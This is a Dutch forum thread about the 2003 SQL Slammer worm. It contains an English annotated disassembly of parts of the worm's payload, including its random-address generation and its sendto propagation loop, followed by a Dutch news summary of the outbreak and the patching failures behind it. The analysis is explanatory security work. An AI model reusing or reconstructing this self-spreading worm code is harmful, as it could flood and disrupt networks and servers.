geplaatst
this worm is completely contained inside its 376 byte payload; i disassembled the code itself (search for "start here") after the nops to find out what it does. there are some annotations; most should make sense but feel free to let me know if i'm way off.
the short story: it sends copies of itself to everyone. it does not store anything on the file system or even change anything directly. i do not know where the flaw in sqlserver is, although it seems like this is pretty well known already (for instance, there is a similar exploit at http://www.ysgnet.com/hn/exploits/adv_win32_shellcode.txt) shutting down sqlserver will completely stop this (although you will still be vulnerable again, of course)
these push a mini-symbol table on the stack. initially it looks something like this: sendto00 cb socket00 d3 ws2_32.d db ll00GetT e3 ickCount eb 0000kern f3 el32.dll fb 00000004 ^ ebp
# GetProcAddr apparently appears in different locations -- this one # tries both 142: be 10 10 ae 42 mov $0x42ae1010,%esi # try 1 for GetProcAddress 147: 8b 1e mov (%esi),%ebx 149: 8b 03 mov (%ebx),%eax 14b: 3d 55 8b ec 51 cmp $0x51ec8b55,%eax # is this the right proc? 150: 74 05 je 0x157 # if we're ok then go ahead 152: be 1c 10 ae 42 mov $0x42ae101c,%esi # try 2 for GetProcAddress 157: ff 16 call *(%esi)
# it is almost ready to call sendto at this point -- however, GetTickCount # was not sufficiently random enough for this guy, so he plays around # with the address a bit before finally pushing it back into 0xffffffb4(%ebp) # this mangling also ensures that it can loop without calling GetTickCount # again, and get a different address. # (although the quality of randomness is obviously in question here) 18a: 89 c6 mov %eax,%esi # move sendto addr 18c: 09 db or %ebx,%ebx # for mangling 18e: 81 f3 3c 61 d9 ff xor $0xffd9613c,%ebx
# start of the loop 194: 8b 45 b4 mov 0xffffffb4(%ebp),%eax # mov addr to eax 197: 8d 0c 40 lea (%eax,%eax,2),%ecx # mangle the address. 19a: 8d 14 88 lea (%eax,%ecx,4),%edx 19d: c1 e2 04 shl $0x4,%edx 1a0: 01 c2 add %eax,%edx 1a2: c1 e2 08 shl $0x8,%edx 1a5: 29 c2 sub %eax,%edx 1a7: 8d 04 90 lea (%eax,%edx,4),%eax 1aa: 01 d8 add %ebx,%eax # okay done mangling 1ac: 89 45 b4 mov %eax,0xffffffb4(%ebp) 1af: 6a 10 push $0x10 # length of the sockaddr 1b1: 8d 45 b0 lea 0xffffffb0(%ebp),%eax # b0 is where sockaddr starts 1b4: 50 push %eax # push sockaddr 1b5: 31 c9 xor %ecx,%ecx 1b7: 51 push %ecx # flags - none 1b8: 66 81 f1 78 01 xor $0x178,%cx # 376 bytes; the length 1bd: 51 push %ecx 1be: 8d 45 03 lea 0x3(%ebp),%eax # get the beginning of the buffer 1c1: 50 push %eax # push addr 1c2: 8b 45 ac mov 0xffffffac(%ebp),%eax # get socket handle 1c5: 50 push %eax # 1c6: ff d6 call *%esi # call sendto 1c8: eb ca jmp 0x194 # jump back and do this again
-------------------- People are like pieces of a puzzle. We all fit together, but not all of us connect. Berichten: 6985 | Plaats: Zeist | Geregistreerd: Jul 2002
| IP: Gelogd |
De W32.SQLExp.Worm ofwel W32/SQLSlammer.worm heeft als gevolg van een reeds half jaar bekend lek in Microsoft SQL-server (database) en ondanks het predikaat 'laag risico' afgelopen weekend toch het internet aanzienlijk kunnen vertragen. Onbenulligheid, ofwel nalatigheid en onwetendheid, vormen de oorzaak. De worm zou uit Hong Kong afkomstig zijn.
De worm werd zaterdagmorgen 25 januari 2003 vroeg gemeld, en besmette in hoog tempo tienduizenden servers als gevolg van zelfvermenigvuldiging op grote hoeveelheden IP-adressen. Zelfs vijf van de dertien servers met het adressysteem van internet raakten verstopt door de worm.
Het betrof dus geen virus dat gewone pc's besmette, noch had e-mail hier iets mee te maken. Het ging om aanvallen op poort UDP port 1434 op machines met een Microsoft SQL datbase met een directe open verbinding met internet.
Het virus verwoest geen harde schijven maar blijft in het geheugen en was gericht op het veroorzaken van verstoppingen door grote hoeveelheden verkeer.
Opnieuw opstarten van de machine en het dichthouden van de poort was voldoende om het euvel te verhelpen, dus werd het risico door virusbestrijders laag genoemd.
In de VS ging niettemin het systeem van bankautomaten plat van de Bank of America. Zondagmiddag was ABN Amro internetbankieren geruime tijd niet bereikbaar, maar het is niet duidelijk of dat een gevolg was van de worm, die zelf overigens maar 376 bytes groot is.
Symentec publiceert er uitgebreid over, evenals F-secure en McAfee. De beste Nederlandse bron vormde een artikel met discussie bij Security.nl, en in het buitenland SecurityFocus
Laatst genoemde bronnen wijzen erop dat het lek al in juli 2002 is gemeld en erkend door Microsoft dat vervolgens een beveiliging heeft uitgebracht. Ook de aanvullingen SP2 en SP3 voor Microsoft SQL dichten het gat.
Daar hebben beheerders van systemen met een SQL database onder Windows 2000 onvoldoende acht op geslagen, anders was het niet gebeurd. Zij moeten daarvoor, zo vinden deelnemers aan het forum van Security.nl verantwoordelijk voor worden gesteld.
Anderzijds wordt te gemakkelijk gebruik gemaakt van standaard koppelingen en installatie van onbetrouwbare software. Zo is gemeld dat met de installatie van bepaalde standaard pakketten van Exact ook Microsoft SQL met een internetkoppeling wordt geinstalleerd. Gebruikers hiervan, meestal middelgrote bedrijven, hebben geen flauw benul van beveiliging.
Uit het Security.nl forum het volgende:
'Wat mij betreft mogen ze iedereen die het aandurft om SQL services direct aan internet aan te bieden ook wel koppensnellen, met of zonder patch. Dat geldt trouwens voor elke DBMS, ook Oracle of mySQL dus.
Als je het een beetje serieus doet, staat je SQL in het LAN, je webdoos in de DMZ, en is de webdoos echt alleen maar op poort 80/443 te benaderen. De SQL is dan vanuit internet helemaal niet te bereiken, tenzij iemand via de webdoos weet in te breken (en ja, die webdoos moet dus wel heel goed dicht zitten, liefst geen ASP draaien enz.).'
Volgens Amerikaanse internetexperts werd de worm dit weekend voor het eerst gesignaleerd in Hong Kong. Pas daarna werden computers in landen aan de Stille Oceaan, de VS en Europa besmet.
De Washington Post bericht dat in de code van de worm aanwijzigen zijn gevonden dat de Chinese hackersgroep met de naam Honker bij het schrijven van de worm is betrokken. Waar de leden van Honker zich precies bevinden is onduidelijk: Hong Kong of op het vasteland van China. Leden van Honker (chinees voor hacker) waren eerder betrokken bij de Chinese 'cyberwar' tegen de VS in 2001.
Vooral Zuid-Korea, het land met het hoogste percentage (breedband)internetaansluitingen is door de worm getroffen, schrijft Straits Times.
-------------------- People are like pieces of a puzzle. We all fit together, but not all of us connect. Berichten: 6985 | Plaats: Zeist | Geregistreerd: Jul 2002
| IP: Gelogd |
geplaatst
dan zie je wel hoe schadelijk iets heel kleins kan zijn op inet..en die hele M$-productie zit vol gaten..steeds telkens een update...zie XP nu
Berichten: 3613 | Plaats: Venray | Geregistreerd: Jul 2002
| IP: Gelogd |